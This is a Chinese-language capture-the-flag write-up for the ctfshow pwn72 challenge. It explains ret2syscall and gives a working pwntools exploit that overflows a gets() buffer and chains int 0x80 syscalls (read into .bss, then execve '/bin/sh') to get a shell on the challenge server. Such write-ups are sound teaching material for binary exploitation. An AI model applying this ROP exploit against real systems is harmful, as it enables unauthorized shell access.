ctfshow pwn72

本题主要考察的ret2syscall 此前已经接触到了ret2textret2shellcoderet2libc

简单说一下这几个的区别:

ret2text,将返回地址覆盖为程序已有的函数地址

ret2shellcode,构造一段shellcode,然后让返回地址能指向这段shellcode

ret2libc ,泄露libc地址,来构造函数和对应参数,从而getshell

ret2syscall ,预先构造好特殊寄存器的值,然后跳到int 0x80 中断号,来实现系统调用。

CTFshow pwn72题为例:

附件check一下发现是32位,没开保护。file看一下发现是静态链接。拖到IDA去分析:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-PWN");
puts("where is my system?");
gets(&v4);
puts("Emmm");
return 0;
}

存在栈溢出,这题考点已经提示了是ret2syscall。所以我们想办法去构造。ctrl + s 查找不到 /bin/sh 字符串。但是发现了bss段,且有写权限,可以考虑往里面写/bin/sh 。注意这里写的首地址,以000结尾。 之前有个题目是mprotect函数,要求首地址是页的开始(4K),所以就以000的结尾,这里其实不用。那么我们如何去实现往BSS段写数据?显然还是可以用ret2syscall 去实现read函数的系统调用。然后再去实现execv函数的系统调用。所以这里是两层。所以思路就很清晰了。不过有个点需要注意下。因为涉及到两层。所以第一次调用int 0x80 后面一定要有ret 。一开始我用ROPgadget --binary pwn72 --only "int"只能搜到 int 0x80 。这里换一种方式去搜索:ropper --file pwn72 --search "int 0x80" ,对比如下:

pwn72_1.png

最终的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#io=process("pwn72")
io=remote("pwn.challenge.ctf.show",28147)
pop_eax=0x080bb2c6
pop_edx_ecx_ebx=0x0806ecb0
bss=0x080eb000
int_0x80=0x0806F350
bin_sh="/bin/sh\x00" #注意这里00截断,代表结束。不然会把换行读进去。
payload=cyclic(0x28+4)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)+p32(int_0x80)
payload+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(int_0x80)
io.sendline(payload)
io.sendline(bin_sh) #payload发送过去,先触发read函数,往bss里面写/bin/sh。然后再发送bin/sh
io.interactive()

注意寄存器里对应的这些参数的值。